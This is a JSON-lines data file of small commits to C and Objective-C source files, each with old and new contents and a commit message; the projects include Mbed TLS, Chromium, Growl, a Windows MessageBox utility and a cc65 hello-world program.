{"commit":"09e34b78eeb6237a87b8ae5fd1860e7a550dccbd","old_file":"tests\/configs\/config-wrapper-malloc-0-null.h","new_file":"tests\/configs\/config-wrapper-malloc-0-null.h","old_contents":"\/* mbedtls_config.h wrapper that forces calloc(0) to return NULL.\n * Used for testing.\n *\/\n\/*\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#include \"mbedtls\/mbedtls_config.h\"\n\n#include <stdlib.h>\nstatic inline void *custom_calloc( size_t nmemb, size_t size )\n{\n    if( nmemb == 0 || size == 0 )\n        return( NULL );\n    return( calloc( nmemb, size ) );\n}\n\n#define MBEDTLS_PLATFORM_MEMORY\n#define MBEDTLS_PLATFORM_STD_CALLOC custom_calloc\n","new_contents":"\/* mbedtls_config.h wrapper that forces calloc(0) to return NULL.\n * Used for testing.\n *\/\n\/*\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#include \"mbedtls\/mbedtls_config.h\"\n\n#include <stdlib.h>\n\n#ifndef MBEDTLS_PLATFORM_STD_CALLOC\nstatic inline void *custom_calloc( size_t nmemb, size_t size )\n{\n    if( nmemb == 0 || size == 0 )\n        return( NULL );\n    return( calloc( nmemb, size ) );\n}\n\n#define MBEDTLS_PLATFORM_MEMORY\n#define MBEDTLS_PLATFORM_STD_CALLOC custom_calloc\n#endif\n","subject":"Add header guard around malloc(0) returning NULL implementation","message":"Add header guard around malloc(0) returning NULL implementation\n\nMake it safe to import the config multiple times without having\nmultiple definition errors.\n\n(This prevents errors in the fuzzers in a later patch.)\n\nSigned-off-by: Daniel Axtens <cf1af486034ab0119a20f38a060e40da25f4cea3@axtens.net>\n","lang":"C","license":"apache-2.0","repos":"Mbed-TLS\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls"}
{"commit":"a4e7d742d66ed4fa4f5d0af9c57a2e5c5026d976","old_file":"content\/public\/browser\/notification_observer.h","new_file":"content\/public\/browser\/notification_observer.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_BROWSER_NOTIFICATION_OBSERVER_H_\n#define CONTENT_PUBLIC_BROWSER_NOTIFICATION_OBSERVER_H_\n#pragma once\n\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nclass NotificationDetails;\nclass NotificationSource;\n\n\/\/ This is the base class for notification observers. When a matching\n\/\/ notification is posted to the notification service, Observe is called.\nclass CONTENT_EXPORT NotificationObserver {\n public:\n  virtual void Observe(int type,\n                       const NotificationSource& source,\n                       const NotificationDetails& details) = 0;\n\n protected:\n  NotificationObserver() {}\n  virtual ~NotificationObserver() {}\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_PUBLIC_BROWSER_NOTIFICATION_OBSERVER_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_PUBLIC_BROWSER_NOTIFICATION_OBSERVER_H_\n#define CONTENT_PUBLIC_BROWSER_NOTIFICATION_OBSERVER_H_\n#pragma once\n\n#include \"content\/common\/content_export.h\"\n\nnamespace content {\n\nclass NotificationDetails;\nclass NotificationSource;\n\n\/\/ This is the base class for notification observers. When a matching\n\/\/ notification is posted to the notification service, Observe is called.\nclass CONTENT_EXPORT NotificationObserver {\n public:\n  virtual void Observe(int type,\n                       const NotificationSource& source,\n                       const NotificationDetails& details) = 0;\n\n protected:\n  virtual ~NotificationObserver() {}\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_PUBLIC_BROWSER_NOTIFICATION_OBSERVER_H_\n","subject":"Remove unnecessary constructor from NotificationObserver.","message":"content: Remove unnecessary constructor from NotificationObserver.\n\nBUG=98716\nR=jam@chromium.org\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10449076\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@139931 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,patrickm\/chromium.src,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,dednal\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,ltilve\/chromium,Just-D\/chromium-1,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,keishi\/chromium,zcbenz\/cefode-chromium,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,markYoungH\/chromium.src,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,keishi\/chromium,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,ltilve\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,littlstar\/chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,dushu1203\/chromium.src,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,keishi\/chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,axinging\/chromium-crosswalk,anirudhSK\/chromium,hujiajie\/pa-chromium,M4sse\/chromium.src,ltilve\/chromium,Chilledheart\/chromium,axinging\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,dednal\/chromium.src,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,M4sse\/chromium.src,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,littlstar\/chromium.src,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,keishi\/chromium,ChromiumWebApps\/chromium,hujiajie\/pa-chromium,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,Chilledheart\/chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,Chilledheart\/chromium,anirudhSK\/chromium,anirudhSK\/chromium,patrickm\/chromium.src,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,patrickm\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,keishi\/chromium,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,patrickm\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,jaruba\/chromium.src,keishi\/chromium,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,keishi\/chromium,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,Just-D\/chromium-1,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,keishi\/chromium,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish"}
{"commit":"6f5644a98919e0583f134876de768497a769f5fe","old_file":"messagebox.c","new_file":"messagebox.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <windows.h>\n\n#define URL \"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms645505\\\n(v=vs.85).aspx\"\n#define VERSION \"0.1.0\"\n\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine,\n                   int nShowCmd)\n{\n    LPWSTR *szArgList;\n    int argCount;\n\n    szArgList = CommandLineToArgvW(GetCommandLineW(), &argCount);\n    if (szArgList == NULL) {\n        fprintf(stderr, \"Unable to parse the command line.\\n\");\n        return 255;\n    }\n    if (argCount < 3 || argCount > 4) {\n        fprintf(stderr, \"Batch MessageBox v\" VERSION \"\\n\");\n        fprintf(stderr, \"Usage: %ls message title [type]\\n\\n\", szArgList[0]);\n\n        fprintf(stderr, \"Calls MessageBoxW() with the given arguments. See\\n\"\n                        URL \"\\nfor the possible values of \\\"type\\\". \"\n                        \"ERRORLEVEL is the return value or 255 on\\nerror.\\n\");\n        return 255;\n    }\n    \/* Ignore _wtoi errors. *\/\n    int type = _wtoi(szArgList[3]);\n    int button = MessageBoxW(NULL, szArgList[1], szArgList[2], type);\n    LocalFree(szArgList);\n    return button;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <errno.h>\n#include <windows.h>\n\n#define URL \"https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms645505\\\n(v=vs.85).aspx\"\n#define VERSION \"0.1.0\"\n\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine,\n                   int nCmdShow)\n{\n    LPWSTR *szArgList;\n    int argCount;\n\n    szArgList = CommandLineToArgvW(GetCommandLineW(), &argCount);\n    if (szArgList == NULL) {\n        fprintf(stderr, \"Unable to parse the command line.\\n\");\n        return 255;\n    }\n    if (argCount < 3 || argCount > 4) {\n        fprintf(stderr, \"Batch MessageBox v\" VERSION \"\\n\");\n        fprintf(stderr, \"Usage: %ls message title [type]\\n\\n\", szArgList[0]);\n\n        fprintf(stderr, \"Calls MessageBoxW() with the given arguments. See\\n\"\n                        URL \"\\nfor the possible values of \\\"type\\\". \"\n                        \"ERRORLEVEL is the return value or 255 on\\nerror.\\n\");\n        return 255;\n    }\n    \/* Ignore _wtoi errors. *\/\n    int type = _wtoi(szArgList[3]);\n    int button = MessageBoxW(NULL, szArgList[1], szArgList[2], type);\n    LocalFree(szArgList);\n    return button;\n}\n","subject":"Rename WinMain argument nShowCmd \"nCmdShow\"","message":"Rename WinMain argument nShowCmd \"nCmdShow\"\n","lang":"C","license":"mit","repos":"dbohdan\/messagebox,dbohdan\/messagebox"}
{"commit":"54c1def2b9395c3f159df69d826832352168d837","old_file":"src\/hello.c","new_file":"src\/hello.c","old_contents":"\/*\r\n * Challenger 1P Hello World Program for cc65.\r\n *\/\r\n\r\n#include <conio.h>\r\n\r\n#define VIDEO_RAM_START ((char *) 0xd000)\r\n\r\nint main()\r\n{\r\n    static const char hello_world[] = \"Hello world!\";\r\n\r\n    int scrpos;\r\n    const char *cp;\r\n\r\n    clrscr();\r\n\r\n    for (cp = hello_world, scrpos = 0x083; *cp; scrpos += 1, cp += 1)\r\n    {\r\n        *(VIDEO_RAM_START + scrpos) = *cp;\r\n    }\r\n\r\n    while (1)\r\n    {\r\n        char c = cgetc();\r\n        *(VIDEO_RAM_START + scrpos++) = c;\r\n    }\r\n\r\n    return 0;\r\n}\r\n","new_contents":"\/*\r\n * Challenger 1P Hello World Program for cc65.\r\n *\/\r\n\r\n#include <conio.h>\r\n\r\n#define VIDEO_RAM_START ((char *) 0xd000)\r\n\r\nint main()\r\n{\r\n    static const char hello_world[] = \"Hello world!\\n\";\r\n\r\n    const char *cp;\r\n    unsigned int i;\r\n\r\n    clrscr();\r\n\r\n    for (cp = hello_world; *cp; cp += 1)\r\n    {\r\n        cputc(*cp);\r\n    }\r\n\r\n    for (i = 0; i < 256; i += 1) {\r\n        cputc((unsigned char ) i);\r\n    }\r\n\r\n    cputc(' ');\r\n    cputc((char) wherex());\r\n\r\n    while (1)\r\n    {\r\n        char c = cgetc();\r\n        cputc(c);\r\n    }\r\n\r\n    return 0;\r\n}\r\n","subject":"Replace direct video memory access with cputc() for character output.","message":"Replace direct video memory access with cputc()\nfor character output.","lang":"C","license":"mit","repos":"smuehlst\/c1pctest,smuehlst\/c1pctest"}
{"commit":"a24bd7176760b057b20560d3a55fcae61dc836fe","old_file":"src\/uri_judge\/begginer\/1160_population_increase.c","new_file":"src\/uri_judge\/begginer\/1160_population_increase.c","old_contents":"","new_contents":"\/**\nhttps:\/\/www.urionlinejudge.com.br\/judge\/en\/problems\/view\/1160\n\nTODO:\n\t\tTest this conjecture:\n\t\tSince f(x) is the number of inhabitants as a function of x years, such f is a function defined in natural numbers.\n\t\tThen f(x) = rx\/100 + s, such that r and s are real (floating) constants,\n\t\twhere r is the growing hate percentual (0<=r<=100)\n\t\tand s is the initial population in this experiment.\n\nTODO2\n\t\tTest this conjecture:\n\t\tThis loop can be turned into a recurrency relation (ie, a recursive function)\n\nTODO3\n\t\tTest this conjecture:\n\t\tIf TODO2 returns True, then this recurrency relation can be turned into a closed form (ie, a regular function).\n*\/\n\n#include <stdio.h>\n\nint main(){\n\n\tint testsQtt;\n\n\tint aPopulation, bPopulation;\n\tdouble aPercentualGrowing, bPercentualGrowing;\n\n\tscanf(\"%d\", &testsQtt);\n\n\tchar results[testsQtt];\n\n\tint i, years;\n\tfor (i = 0; i < testsQtt; i++){\n\n\t\tscanf(\"%d %d %lf %lf\", &aPopulation, &bPopulation, &aPercentualGrowing, &bPercentualGrowing);\n\n\t\tyears = 0;\n\t\twhile(aPopulation <= bPopulation){\n\t\t\tyears++;\n\n\t\t\tif (years > 100){\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\taPopulation += (int) (aPopulation*aPercentualGrowing\/100);\n\t\t\tbPopulation += (int) (bPopulation*bPercentualGrowing\/100);\n\t\t}\n\n\t\tresults[i] = years;\n\t}\n\n\tfor (i = 0; i < testsQtt; i++){\n\t\tif (results[i] > 100){\n\t\t\tprintf(\"Mais de 1 seculo.\\n\");\n\t\t} else{\n\t\t\tprintf(\"%d anos.\\n\", results[i]);\n\t\t}\n\t}\n\n    return 0;\n}","subject":"Add 1160 solution, but it can be improved!","message":"Add 1160 solution, but it can be improved!\n","lang":"C","license":"unknown","repos":"Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs"}
{"commit":"ff54c764470857acc39c47da7c2adcecf09865f8","old_file":"examples\/complex_struct.c","new_file":"examples\/complex_struct.c","old_contents":"#include <stdio.h>\n\ntypedef struct {\n    int *x;\n    int **y;\n} inner ;\n\ntypedef struct {\n    int *g;\n    inner in[3];\n} outer;\n\n\nint *ep;\n\nint main(int argc, char *argv[])\n{\n    outer o;\n    int z = 5;\n    int zzz;\n\n    printf(\"%d\\n\" , z);\n\n    ep = &z;\n\n    o.in[2].x = ep;\n\n    *o.in[2].x = 3;\n    printf(\"%d\\n\" , z);\n\n    inner i;\n    i.x = &zzz;\n    o.in[1] = i;\n\n    int **ptr = &o.in[0].x;\n    int *p = *ptr;\n    \/* outer oo[4]; *\/\n\n    \/* oo[2].in[2].y = &ep; *\/\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\ntypedef struct {\n    int *x;\n    int **y;\n} inner ;\n\ntypedef struct {\n    int *g;\n    inner in[3];\n} outer;\n\n\nint *ep;\n\nint main(int argc, char *argv[])\n{\n    outer o;\n    int z = 5;\n    int zzz;\n\n    printf(\"%d\\n\" , z);\n\n    ep = &z;\n\n    o.in[2].x = ep;\n\n    *(o.in[2].x) = 3;\n    printf(\"%d\\n\" , z);\n\n    inner i;\n    i.x = &zzz;\n    o.in[1] = i;\n\n    int **ptr = &(o.in[0].x);\n    int *p = *ptr;\n    \/* outer oo[4]; *\/\n\n    \/* oo[2].in[2].y = &ep; *\/\n    return 0;\n}\n","subject":"Add parentheses to make example clearer.","message":"Add parentheses to make example clearer.\n","lang":"C","license":"mit","repos":"plast-lab\/cclyzer,plast-lab\/llvm-datalog"}
{"commit":"a8dcf158b8f6a62e65c8c5fc9b066be8c53260fb","old_file":"Plugins\/Displays\/Bezel\/GrowlBezelWindowView.h","new_file":"Plugins\/Displays\/Bezel\/GrowlBezelWindowView.h","old_contents":"\/\/\n\/\/  GrowlBezelWindowView.h\n\/\/  Display Plugins\n\/\/\n\/\/  Created by Jorge Salvador Caffarena on 09\/09\/04.\n\/\/  Copyright 2004 Jorge Salvador Caffarena. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"GrowlNotificationView.h\"\n\n@interface GrowlBezelWindowView : GrowlNotificationView {\n\tNSImage\t\t\t*icon;\n\tNSString\t\t*title;\n\tNSString\t\t*text;\n\tSEL\t\t\t\taction;\n\tid\t\t\t\ttarget;\n\n\tNSColor\t\t\t*textColor;\n\tNSColor\t\t\t*backgroundColor;\n\tNSLayoutManager\t*layoutManager;\n}\n\n- (void) setIcon:(NSImage *)icon;\n- (void) setTitle:(NSString *)title;\n- (void) setText:(NSString *)text;\n- (void) setPriority:(int)priority;\n\n- (float) descriptionHeight:(NSString *)text attributes:(NSDictionary *)attributes width:(float)width;\n\n- (id) target;\n- (void) setTarget:(id)object;\n\n- (SEL) action;\n- (void) setAction:(SEL)selector;\n\n@end\n","new_contents":"\/\/\n\/\/  GrowlBezelWindowView.h\n\/\/  Display Plugins\n\/\/\n\/\/  Created by Jorge Salvador Caffarena on 09\/09\/04.\n\/\/  Copyright 2004 Jorge Salvador Caffarena. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"GrowlNotificationView.h\"\n\n@interface GrowlBezelWindowView : GrowlNotificationView {\n\tNSImage\t\t\t*icon;\n\tNSString\t\t*title;\n\tNSString\t\t*text;\n\n\tNSColor\t\t\t*textColor;\n\tNSColor\t\t\t*backgroundColor;\n\tNSLayoutManager\t*layoutManager;\n}\n\n- (void) setIcon:(NSImage *)icon;\n- (void) setTitle:(NSString *)title;\n- (void) setText:(NSString *)text;\n- (void) setPriority:(int)priority;\n\n- (float) descriptionHeight:(NSString *)text attributes:(NSDictionary *)attributes width:(float)width;\n\n- (id) target;\n- (void) setTarget:(id)object;\n\n- (SEL) action;\n- (void) setAction:(SEL)selector;\n\n@end\n","subject":"Remove duplicate members so this compiles again","message":"Remove duplicate members so this compiles again\n","lang":"C","license":"bsd-3-clause","repos":"an0nym0u5\/growl,Shalaco\/shalzers-growl,SalrJupiter\/growl,chashion\/growl,an0nym0u5\/growl,nagyistoce\/growl,ylian\/growl,ylian\/growl,SalrJupiter\/growl,chashion\/growl,coltonfisher\/coltonfisher-growl,ylian\/growl,nochkin\/growl,CarlosCD\/growl,coltonfisher\/coltonfisher-growl,timbck2\/growl,nagyistoce\/growl,nkhorman\/archive-growl,tectronics\/growl,timbck2\/growl,nochkin\/growl,morganestes\/morganestes-growl,doshinirav\/doshinirav-myversion,nkhorman\/archive-growl,timbck2\/growl,xhruso00\/growl,nagyistoce\/growl,chashion\/growl,coltonfisher\/coltonfisher-growl,morganestes\/morganestes-growl,Shalaco\/shalzers-growl,morganestes\/morganestes-growl,doshinirav\/doshinirav-myversion,nagyistoce\/growl,timbck2\/growl,ylian\/growl,ylian\/growl,CarlosCD\/growl,Shalaco\/shalzers-growl,SalrJupiter\/growl,CarlosCD\/growl,an0nym0u5\/growl,SalrJupiter\/growl,chashion\/growl,nochkin\/growl,nkhorman\/archive-growl,nagyistoce\/growl,Shalaco\/shalzers-growl,xhruso00\/growl,chashion\/growl,nochkin\/growl,morganestes\/morganestes-growl,xhruso00\/growl,tectronics\/growl,nagyistoce\/growl,an0nym0u5\/growl,CarlosCD\/growl,nochkin\/growl,an0nym0u5\/growl,xhruso00\/growl,tectronics\/growl,timbck2\/growl,coltonfisher\/coltonfisher-growl,doshinirav\/doshinirav-myversion,SalrJupiter\/growl,tectronics\/growl,Shalaco\/shalzers-growl,coltonfisher\/coltonfisher-growl,nkhorman\/archive-growl,nkhorman\/archive-growl,coltonfisher\/coltonfisher-growl,doshinirav\/doshinirav-myversion,an0nym0u5\/growl,nochkin\/growl,Shalaco\/shalzers-growl,morganestes\/morganestes-growl,timbck2\/growl,Shalaco\/shalzers-growl,ylian\/growl,doshinirav\/doshinirav-myversion,SalrJupiter\/growl,morganestes\/morganestes-growl,Shalaco\/shalzers-growl,tectronics\/growl,CarlosCD\/growl,Shalaco\/shalzers-growl,doshinirav\/doshinirav-myversion,doshinirav\/doshinirav-myversion,Shalaco\/shalzers-growl,Shalaco\/shalzers-growl,xhruso00\/growl,coltonfisher\/coltonfisher-growl,xhruso00\/growl,chashion\/growl,nkhorman\/archive-growl,CarlosCD\/growl,CarlosCD\/growl,tectronics\/growl"}
